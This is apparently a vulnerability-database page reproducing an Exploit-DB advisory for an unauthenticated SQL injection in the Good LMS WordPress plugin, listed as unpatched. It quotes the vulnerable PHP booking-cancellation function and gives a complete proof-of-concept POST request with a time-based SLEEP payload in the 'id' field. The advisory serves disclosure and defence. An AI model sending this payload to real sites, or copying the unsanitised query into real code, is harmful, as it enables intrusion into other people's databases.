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Good LMS
by:
Abdulazeez Alaseeri
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CVSS
CRITICAL
Unauthenticated SQL Injection
89
CWE
Product Name: Good LMS
Affected Version From: <= 2.1.4
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
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Platforms Tested: Linux
2020

WordPress Plugin Good LMS 2.1.4 – ‘id’ Unauthenticated SQL Injection

The vulnerability allows an attacker to perform an SQL injection attack in the Good Layers LMS Plugin version 2.1.4 or earlier. The vulnerable code is located in the file 'goodlayers-lms/include/lightbox-form.php' from line 682 to 701. The SQL injection occurs in the 'id' parameter of the SQL query. An attacker can manipulate the 'id' parameter to execute arbitrary SQL commands.

Mitigation:

To mitigate this vulnerability, it is recommended to update the Good Layers LMS Plugin to a version that is not affected by the SQL injection vulnerability. Additionally, input validation and parameterized queries should be implemented to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin Good LMS 2.1.4 - 'id' Unauthenticated SQL Injection
# Software Link: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850
# Version: <= 2.1.4
# Dork: N/A
# Author: Abdulazeez Alaseeri
# Tested on: linux/apache
# Type: Web App
# Date: 2020-11-12
# Category: Web App


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Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4
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Plugin URL: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850

Following is the vulnerable code in file "goodlayers-lms/include/lightbox-form.php" from line 682 to 701
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Start Vulnerable Code
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682-	add_action( 'wp_ajax_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
683-	add_action( 'wp_ajax_nopriv_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
684-	function gdlr_lms_cancel_booking(){
685-		global $wpdb;
686-
687-		$sql  = 'SELECT * FROM ' . $wpdb->prefix . 'gdlrpayment ';
688-		$sql .= 'WHERE id=' . $_POST['id'] . ' AND ';
689-		$sql .= '(payment_status=\'pending\' OR payment_status=\'submitted\' OR payment_status=\'reserved\')';
690-		$booked_course = $wpdb->get_row($sql);
691-		if( !empty($booked_course) ){
692-			$payment_info = unserialize($booked_course->payment_info);
693-
694-			$course_options = gdlr_lms_get_course_options($booked_course->course_id);
695-			$course_options['booked-seat'] = intval($course_options['booked-seat']) - intval($payment_info['amount']);
696-			update_post_meta($booked_course->course_id, 'gdlr-lms-course-settings', wp_slash(json_encode($course_options, JSON_UNESCAPED_UNICODE)));
697-
698-			$wpdb->delete( $wpdb->prefix . 'gdlrpayment', array('id'=>$_POST['id']), array('%d'));
699-		}
700-		die("");
701-	}
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End Vulnerable Code
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Line 682 means that function "gdlr_lms_cancel_booking" can be called using "/wp-admin/admin-ajax.php" by having any low privileged account such as subscriber or contributor. However the "nopriv" in line 683 means that the same function "gdlr_lms_cancel_booking" can also be called as an unauthenticated user. Following URL means that an attacker is already inside function "gdlr_lms_cancel_booking".

http://www.example.com/wp-admin/admin-ajax.php?action=gdlr_lms_cancel_booking

SQL Injection on line 688 is pretty simple to understand that an arbitrary user input in POST Request is sent straight into the MySQL Query as variable "id"

$sql .= 'WHERE id=' . $_POST['id'] . ' AND ';

Following are the Request Headers as POC which demonstrates MySQL SLEEP Query.

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Request Headers Start
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POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV)
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Request Headers Finish
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